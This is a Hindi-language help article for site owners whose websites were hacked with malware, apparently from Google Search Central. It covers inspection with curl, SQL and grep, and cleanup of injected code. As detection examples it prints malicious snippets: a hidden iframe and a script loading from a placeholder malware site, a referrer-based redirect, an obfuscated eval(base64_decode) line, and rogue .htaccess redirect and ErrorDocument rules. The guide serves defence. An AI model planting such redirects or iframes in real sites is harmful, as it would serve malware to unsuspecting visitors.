मैलवेयर के साथ हैक किए गए

मैलवेयर एक तरह का सॉफ़्टवेयर या मोबाइल ऐप्लिकेशन होता है. इसे किसी कंप्यूटर, मोबाइल डिवाइस, इंस्टॉल किए गए सॉफ़्टवेयर या डिवाइस का इस्तेमाल करने वालों को नुकसान पहुंचाने के लिए खास तौर पर बनाया जाता है. मैलवेयर के बारे में ज़्यादा जानकारी पाने के लिए, मैलवेयर और अनचाहा सॉफ़्टवेयर लेख पढ़ें.

अगर आपकी साइट में मैलवेयर है, तो लोगों को आपकी साइट पर जाने की कोशिश करने पर, खोज के नतीजों में या पेज पर अचानक दिखने वाले पेज पर "यह साइट आपके कंप्यूटर को नुकसान पहुंचा सकती है" चेतावनी दिखेगी. यह चेतावनी इस तरह दिखेगी:

प्रतिनिधि मैलवेयर वाला इंटरस्टीशियल पेज
ऐसे खोज नतीजे जिनमें मैलवेयर की चेतावनी दिख रही है.

आपको इनकी ज़रूरत होगी:

  • आपकी साइट के सर्वर के लिए शेल या टर्मिनल एडमिन ऐक्सेस: वेब, डेटाबेस, और फ़ाइलें.
  • शेल या टर्मिनल कमांड से जुड़ी जानकारी.
  • डेटाबेस पर SQL क्वेरी चलाने की सुविधा.

वीडियो की रणनीति

  • Search Console के लिए साइन अप करें और वहां बताए गए तरीके से, हैक की गई अपनी साइट के मालिकाना हक की पुष्टि करें. Search Console, ऐसे पेजों का नमूना देता है जिन पर मैलवेयर का असर हुआ है. इससे, मैलवेयर के साथ हैक होने वाली समस्याओं को ढूंढना और उन्हें ठीक करना बहुत आसान हो जाता है. इसके अलावा, आपकी साइट पर कई तरह के मैलवेयर या दूसरी तरह के हैक होने का पता चलने पर आपको चेतावनी दी जाएगी.
  • इस बारे में सार्वजनिक जानकारी देखने के लिए कि क्या साइट उपयोगकर्ताओं के लिए संभावित रूप से हानिकारक है या नहीं, Google सुरक्षित ब्राउज़िंग डाइग्नोस्टिक्स पेज देखें. इससे मिलते-जुलते यूआरएल पर, अपने पेज या साइट की लिस्टिंग की स्थिति देखी जा सकती है: https://transparencyreport.google.com/safe-browsing/search?url=***<<page_or_site>>*** उदाहरण के लिए: https://transparencyreport.google.com/safe-browsing/search?url=webmastercentralblog.blogspot.com

    <<page_or_site>> किसी पेज का यूआरएल (http://example.com/badpage) या आपकी पूरी साइट (example.com) हो सकता है.

  • अपनी साइट के पेज देखने के लिए, ब्राउज़र का इस्तेमाल करने से बचें. मैलवेयर अक्सर ब्राउज़र की कमियों का फ़ायदा उठाने के लिए फैलता है. इसलिए, मैलवेयर से संक्रमित पेज को ब्राउज़र में खोलने से आपके कंप्यूटर को नुकसान पहुंच सकता है. जब तक गड़बड़ी की पहचान करने के निर्देशों में, पेज को सीधे अपने ब्राउज़र में ऐक्सेस करने का निर्देश न दिया गया हो, तब तक एचटीटीपी अनुरोध करने के लिए cURL या Wget का इस्तेमाल करें. उदाहरण के लिए, किसी पेज को फ़ेच करने के लिए.

    आसानी से उपलब्ध ये टूल रीडायरेक्ट का पता लगाने में मदद करते हैं. साथ ही, इनमें रेफ़रर या उपयोगकर्ता-एजेंट की जानकारी शामिल करने की सुविधा होती है. हैकर की नकल करने में किसी खास रेफ़रर या उपयोगकर्ता एजेंट को शामिल करना मददगार होता है. ऐसा इसलिए है, क्योंकि हैकर ज़्यादा "असल लोगों" को टारगेट करने के लिए, सिर्फ़ खास उपयोगकर्ता-एजेंट या रेफ़रल देने वाले उपयोगकर्ताओं को ही नुकसान पहुंचाने वाला कॉन्टेंट उपलब्ध कराते हैं. साथ ही, साइट के मालिकों और मैलवेयर स्कैनर का पता लगाने से बचा जा सकता है.

`curl -v --referer "http://www.google.com" <your-url>`

यहां एक उदाहरण दिया गया है, जिसमें उपयोगकर्ता एजेंट और रेफ़रर, दोनों के बारे में बताया गया है:

`curl -v --referer "https://www.google.com" --user-agent "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FSL 7.0.7.01001)" http://www.example.com/page.html`

हमारा सुझाव है कि आप --referer "https://www.google.com" के साथ और इसके बिना, किसी पेज को फ़ेच करें. ऐसा इसलिए, क्योंकि कुछ मैलवेयर सिर्फ़ तब चालू होते हैं, जब उपयोगकर्ता Google Search के नतीजों से आते हैं.

  • इस चरण के निष्कर्षों को रिकॉर्ड करने के लिए एक दस्तावेज़ बनाएं. दस्तावेज़ में हर खराब फ़ाइल का नाम और जगह की जानकारी शामिल की जाएगी. साथ ही, यह भी बताया जाएगा कि यह कैसे संक्रमित हुआ. साथ ही, दस्तावेज़ अपनी साइट को साफ़ करें और उसका रखरखाव करें के लिए, एक आधार के तौर पर काम करेगा.

  • मैलवेयर कैसे काम करता है और अपनी मैलवेयर जांच के दौरान आप कैसे सुरक्षित रह सकते हैं, यह देखने के लिए इस पेज पर पहले दिया गया वीडियो देखें.

संक्रमण की जांच

पता लगाएं कि कौनसा मैलवेयर आपकी साइट पर असर डाल रहा है:

  1. Search Console में अपनी साइट के लिए सुरक्षा से जुड़ी समस्याओं वाली रिपोर्ट खोलें. मैलवेयर की चेतावनी की जानकारी को बड़ा करके, उदाहरण के तौर पर उन पेजों की सूची देखें जिन पर मैलवेयर का असर हुआ है. ध्यान दें कि यह पूरी सूची नहीं है, हो सकता है कि आपको अपनी साइट पर सभी तरह के मैलवेयर के उदाहरण वाले पेज न मिलें.
  2. नीचे दिए गए मैलवेयर के लिए अपने उदाहरण पेजों की जांच करें.

सर्वर कॉन्फ़िगरेशन मैलवेयर (अनचाहा रीडायरेक्ट)

हैकर ने आपकी साइट से छेड़छाड़ की है. हैकर आपकी अच्छी साइट से साइट पर आने वाले लोगों को अपनी मैलवेयर अटैक साइट पर रीडायरेक्ट कर रहा है. ऐसा करने के लिए, वह आपके सर्वर की कॉन्फ़िगरेशन फ़ाइल(फ़ाइलों) में बदलाव कर सकता है. आम तौर पर, सर्वर की कॉन्फ़िगरेशन वाली फ़ाइलें इस्तेमाल करके, साइट का एडमिन यह तय कर सकता है कि यूआरएल रीडायरेक्ट उपयोगकर्ता को वेबसाइट के किन खास पेजों या डायरेक्ट्री पर ले जाए. उदाहरण के लिए, Apache सर्वर पर httpd.conf और .htaccess फ़ाइल है.

संक्रमण की जांच

सुरक्षा की समस्याओं वाली रिपोर्ट में समस्या के उदाहरण वाले यूआरएल पर जाएं. "सर्वर कॉन्फ़िगरेशन" संक्रमण से संक्रमित पेज से मिलने वाले रिस्पॉन्स में, नीचे दिए गए हेडर शामिल हो सकते हैं:

&lt; HTTP/1.1 301 Moved Permanently
&lt; Date: Sun, 24 Feb 2013 21:06:45 GMT
&lt; Server: Apache
&lt; Location: http://&lt;<strong>_malware-attack-site_</strong>&gt;/index.html
&lt; Content-Length: 253

प्रभावित फ़ाइलों का पता लगाएं

शेल या टर्मिनल ऐक्सेस के ज़रिए अपने सर्वर में साइन इन करें (अगर आप चाहें, तो साइट ऑफ़लाइन हो सकती है) और सर्वर की कॉन्फ़िगरेशन फ़ाइलों से जुड़ी काम की फ़ाइलें देखें. आपकी साइट पर हैक की गई सर्वर कॉन्फ़िगरेशन की एक से ज़्यादा फ़ाइलें हो सकती हैं. अनजान साइटों पर रीडायरेक्ट करने जैसे अनचाहे निर्देशों के लिए इन फ़ाइलों को देखें. उदाहरण के लिए, .htaccess` फ़ाइल में, आपको ऐसा रीडायरेक्ट दिख सकता है:

RewriteEngine On
RewriteCond %{HTTP_REFERER} .*google.*
**RewriteRule ^third-page.html($|/) http://&lt;<em><strong>_malware-site_</strong></em>&gt;/index.html** [R=301]

SQL इंजेक्शन

हैकर ने आपकी साइट के डेटाबेस को हैक कर लिया है. उदाहरण के लिए, हो सकता है कि हैकर ने प्रोग्रामैटिक रूप से किसी डेटाबेस टेबल के हर रिकॉर्ड में नुकसान पहुंचाने वाला कोड डाला हो. ऐसे में, जब सर्वर कोई ऐसा पेज लोड करता है जिसके लिए डेटाबेस से जानकारी की ज़रूरत होती है, तो नुकसान पहुंचाने वाला कोड अब उस पेज के कॉन्टेंट में एम्बेड हो जाता है और साइट पर आने वाले लोगों को नुकसान पहुंचा सकता है.

संक्रमण की जांच

  1. जिन यूआरएल पर असर हुआ है उनकी कमांड-लाइन में कुछ क्वेरी चलाएं. साथ ही, देखें कि "iframe" या "eval" जैसे नुकसान पहुंचाने वाले एसक्यूएल शब्दों के लिए, रिस्पॉन्स की जांच करें.
  2. अपने डेटाबेस सर्वर में साइन इन करें या phpMyAdmin जैसे टूल की मदद से अपने डेटाबेस को देखें. अगर आपने Wget या cURL का इस्तेमाल किया है, तो Wget या cURL के ज़रिए पेज के सोर्स कोड में मिले नुकसान को डेटाबेस की एंट्री से जोड़ने की कोशिश करें. उदाहरण के लिए, अगर आपको अपने पेजों पर कोई खतरनाक iframe मिला है, तो आप iframe कोड खोजने के लिए एसक्यूएल क्वेरी कर सकते हैं. उदाहरण के लिए:

    SELECT * FROM blog_posts WHERE post_text LIKE '%&gt;iframe%';
    
  3. यह भी हो सकता है कि आप असामान्य गतिविधि के लिए अपने सर्वर पर डेटाबेस के लॉग और गड़बड़ी वाली फ़ाइलों की जांच करना चाहें, जैसे कि अनचाहे एसक्यूएल कमांड, जो नियमित उपयोगकर्ताओं या गड़बड़ियों के लिए असामान्य लगते हैं.

समस्या को ठीक करना

ऐसे हर डेटाबेस को अपडेट करें जिसमें समस्या हो सकती है या डेटाबेस में मौजूद बैक अप को वापस आया जा सकता है.

कोड इंजेक्शन

आपकी साइट के पेजों में बदलाव किया गया था, ताकि उसमें नुकसान पहुंचाने वाले कोड शामिल किए जा सकें. उदाहरण के लिए, जिस साइट पर मैलवेयर ने हमला किया है उसके लिए iframe.

संक्रमण की जांच

cURL या wGet के साथ सुरक्षा की समस्याओं वाली रिपोर्ट में दिखाए गए उदाहरण वाले कुछ यूआरएल देखें और संदिग्ध कोड की जांच करें. इंजेक्ट किए गए कोड कई तरह के हो सकते हैं और इसे ढूंढना मुश्किल हो सकता है. iframe कोड ढूंढने के लिए, "iframe" जैसे शब्दों को खोजने से मदद मिल सकती है. दूसरे मददगार कीवर्ड "script", "eval", और "unescape" हैं. उदाहरण के लिए, Unix-आधारित सिस्टम पर "iframe" के लिए सभी फ़ाइलें खोजने के लिए:

$grep -irn "iframe" ./ | less</pre>

यहां जांच करने के लिए कुछ सामान्य मैलवेयर पैटर्न दिए गए हैं.

नुकसान पहुंचाने वाली साइट लोड करने वाला iframe:

&lt;iframe frameborder="0" height="0" src="http://&lt;<strong><em>_malware-site_</em></strong>&gt;/path/file"
  style="display:none" width="0"&gt;&lt;/iframe&gt;

ऐसी JavaScript या कोई दूसरी स्क्रिप्टिंग भाषा जो हमला करने वाली किसी साइट से स्क्रिप्ट को कॉल करती है और चलाती है:

&lt;script type='text/javascript' src='http://&lt;<em><strong>_malware-site_</strong></em>&gt;/js/x55.js'&gt;&lt;/script&gt;

ऐसी स्क्रिप्टिंग जो ब्राउज़र को एक हमलावर साइट पर रीडायरेक्ट करती है:

&lt;script&gt;
  if (document.referrer.match(/google\.com/)) {
    window.location("http://&lt;<em><strong>_malware-site_</strong></em>&gt;/");
  }
&lt;/script&gt;

नुकसान पहुंचाने वाले ऐसे कोड जिन्हें बदल दिया गया है, ताकि उनका पता नहीं लगाया जा सके:

eval(base64_decode("aWYoZnVuaauUl+hasdqetiDi2iOwlOHTgs+slgsfUNlsgasdf"));

शेयर की गई ऑब्जेक्ट फ़ाइलें, जिन्हें किसी भी क्रम में अच्छी स्क्रिप्ट पर, नुकसान पहुंचाने वाले कोड लिखने के लिए डिज़ाइन किया गया है:

#httpd.conf modified by the hacker
LoadModule harmful_module modules/mod_harmful.so
AddModule mod_harmful.c

नुकसान पहुंचाने वाले गड़बड़ी के टेंप्लेट

गड़बड़ी के मैसेज, जैसे कि 404 फ़ाइल नहीं मिली, के लिए इस्तेमाल किए जाने वाले टेंप्लेट को मैलवेयर फैलाने के लिए कॉन्फ़िगर किया गया है. इस तरह, हमलावर उन यूआरएल पर भी हमला कर सकते हैं जो आपकी साइट पर मौजूद ही नहीं हैं.

संक्रमण की जांच

अपनी साइट पर ऐसे पेज के लिए अनुरोध करें जो मौजूद नहीं है या जो दूसरी तरह की गड़बड़ी देता है. साथ ही, रिस्पॉन्स की जांच करें और देखें कि क्या वह किसी दूसरी साइट से आया है या उसमें कोई मैलवेयर है.

समस्या को ठीक करना

अपने वेब सर्वर में साइन इन करें और अपनी सर्वर कॉन्फ़िगरेशन फ़ाइलों में गड़बड़ी वाले पेज के निर्देश खोजें. उदाहरण के लिए, Apache वेबसर्वर के लिए गड़बड़ी वाले टेंप्लेट के बारे में .htaccess फ़ाइल में बताया जा सकता है. यहां .htaccess फ़ाइल की ऐसी एंट्री का उदाहरण दिया गया है जो नुकसान पहुंचाने वाली साइट से 404 गड़बड़ी वाले पेज हासिल करती है:

ErrorDocument 404 http://&lt;<span class="red-text"><em><strong>_malware-site_</strong></em></span>&gt;/index.html

जब आप अपनी साइट से समस्याएं ठीक करने के लिए तैयार हों, तो .htaccess फ़ाइल(फ़ाइलों) को ऐसे अच्छे बैकअप से बदलें या मौजूदा .htaccess फ़ाइल(फ़ाइलों) से अनचाहेErrorDocument निर्देश मिटा दें. अगर आपकी साइट पर गड़बड़ी वाली फ़ाइलें मौजूद हैं, तो उन्हें भी हटा दें. आखिर में, सभी बदलाव लागू करने के लिए अपने वेब सर्वर को रीस्टार्ट करें.

मैलवेयर के हमले का शिकार हो चुकी या नुकसान पहुंचाने वाली साइट {compromized-resources} से लोड होने वाले संसाधन

आपकी साइट ऐसी वेबसाइट के कॉन्टेंट या संसाधनों का इस्तेमाल करती है जिसमें नुकसान पहुंचाने वाला कॉन्टेंट शामिल है. ये JavaScript फ़ाइलें, इमेज या अन्य फ़ाइलें हो सकती हैं. इस वजह से, आपकी साइट को उस दूसरी साइट से लोड किए गए मैलवेयर के लिए फ़्लैग कर दिया जाएगा.

संक्रमण की जांच

सुरक्षा की समस्याओं वाली रिपोर्ट में समस्या के उदाहरण वाले यूआरएल पर जाएं.

समस्या को ठीक करना

  1. Search Console की सुरक्षा से जुड़ी समस्याओं वाली रिपोर्ट में दिए गए कुछ सैंपल यूआरएल को ब्राउज़ करके, समस्या की पुष्टि करें. आपको ब्राउज़र से जुड़ी चेतावनी दिखेगी.
  2. ब्राउज़र पर चेतावनी से आपको आपत्तिजनक कॉन्टेंट के डोमेन की जानकारी मिलेगी. ब्राउज़र चेतावनी में जिस साइट को आपत्तिजनक पाया गया है उससे जुड़ी सारी सामग्री को अपनी साइट से हटा दें. अगर फ़्लैग की गई किसी साइट के कॉन्टेंट को आपकी जानकारी के बिना शामिल किया गया है, तो समस्या ज़्यादा गंभीर है. इस बात की संभावना ज़्यादा है कि आपकी साइट के साथ छेड़छाड़ की गई हो. इसलिए, आपको अपनी साइट की जांच करते रहना चाहिए, ताकि यह पता लगाया जा सके कि साइट से जुड़ी दूसरी हैकिंग और जोखिम की आशंकाएं हैं या नहीं.
  3. अगर आपने जान-बूझकर किसी ऐसी मान्य साइट से कॉन्टेंट को शामिल किया है जिसे फ़्लैग किया गया है और फ़्लैग की गई साइट से मैलवेयर हटाने के बाद, आपको उस कॉन्टेंट को फिर से शामिल करना है, तो उस साइट (http://www.google.com/safebrowsing/diagnostic?site=www.example.com){:.external} के लिए Google सुरक्षित ब्राउज़िंग की गड़बड़ी की जानकारी वाले पेज का इस्तेमाल करके, फ़्लैग की गई साइट की स्थिति पर नज़र रखी जा सकती है. आम तौर पर, सही साइटों के मालिक उन्हें तुरंत हटा देते हैं.

अतिरिक्त जांच

इसके बाद, नुकसान पहुंचाने वाली किसी अन्य फ़ाइल या अपने सिस्टम पर हुए बदलावों की जांच करें. हो सकता है कि हैकर ने मौजूदा पेजों या डेटाबेस में बदलाव किए हों, स्पैम वाले नए पेज बनाए हों, ऐसे लिखे हुए फ़ंक्शन हों जो साफ़ पेजों पर स्पैम दिखाते हों या "पिछले दरवाज़े" की जगह ले जाते हों. इसकी मदद से, हैकर आपकी साइट पर फिर से आ सकता है या आपके हटाए गए नुकसान पहुंचाने वाले कोड को फिर से डाल सकता है.

अगर आपकी साइट ऑनलाइन है, तो इस जांच के लिए उसे ऑफ़लाइन ले जाएं.

अगर आपके पास आपकी साइट का अच्छा बैकअप है, तो यह तय करें कि बैकअप के बाद कौनसी फ़ाइलें बनाई या बदली गई हैं और उनकी जांच करें. यूनिक्स-आधारित सिस्टम पर, नई फ़ाइलें ढूंढने के लिए नीचे दिए गए कमांड का इस्तेमाल किया जा सकता है:

diff -qr <current-directory> <backup-directory>

उदाहरण के लिए:

diff -qr www/ backups/full-backup-20120124/

भी:

md5sum <current-page> <backup-page>

उदाहरण के लिए:

md5sum www/page.html backups/full-backup-20120124/page.html

किसी भी संदिग्ध गतिविधि के लिए सर्वर, ऐक्सेस, और गड़बड़ी लॉग की जांच करें जैसे कि लॉगिन की असफल कोशिशें, कमांड इतिहास (खास तौर पर रूट के रूप में), और अनजान उपयोगकर्ता खाते बनाना. ध्यान रखें, हो सकता है कि हैकर ने इन लॉग को अपने मकसद के लिए बदल दिया हो. वीडियो में कुछ उदाहरण कमज़ोरियों की पहचान करने के लिए दिखाए गए हैं.

रीडायरेक्ट करने के लिए कॉन्फ़िगरेशन फ़ाइलें देखें. आम तौर पर, आपकी कॉन्फ़िगरेशन फ़ाइलों के नाम .htaccess और httpd.conf होते हैं. हैकर अक्सर उपयोगकर्ता-एजेंट, दिन के समय या रेफ़रल देने वाले के आधार पर शर्तों वाले रीडायरेक्ट बनाते हैं. अगर आपको कॉन्फ़िगरेशन फ़ाइलों को अपडेट करने की ज़रूरत है, तो आपको अपने सर्वर को रीस्टार्ट करना पड़ सकता है, ताकि बदलावों को लागू किया जा सके.

फ़ोल्डर और फ़ाइल के लिए ज़्यादा उपलब्ध अनुमतियां देखें. हैकर अनुमतियों के साथ छेड़छाड़ करते हैं, क्योंकि अगर साइट का मालिक आसानी से दी गई अनुमतियों के बारे में पता नहीं लगा पाता, तो हैकर साइट में दोबारा साइन इन कर सकता है. 644 (rw-r--r--) से बड़ी फ़ाइलें और 755 (rwxr-xr-x) से बड़े फ़ोल्डर की वजह से सुरक्षा से जुड़ी समस्याएं हो सकती हैं. पक्का करें कि कोई भी पराजित अनुमति वास्तव में आवश्यक है. यूनिक्स-आधारित सिस्टम पर, यह आज़माएं:

find <your-dir> -type d -not -perm 755 -exec ls -ld {} \;

और:

find <your-dir> -type f -not -perm 644 -exec ls -la {} \;

अगर आपके पास कोई डेटाबेस है, तो phpMyAdmin जैसे टूल का इस्तेमाल करके, रिकॉर्ड से रिकॉर्ड की जांच करें.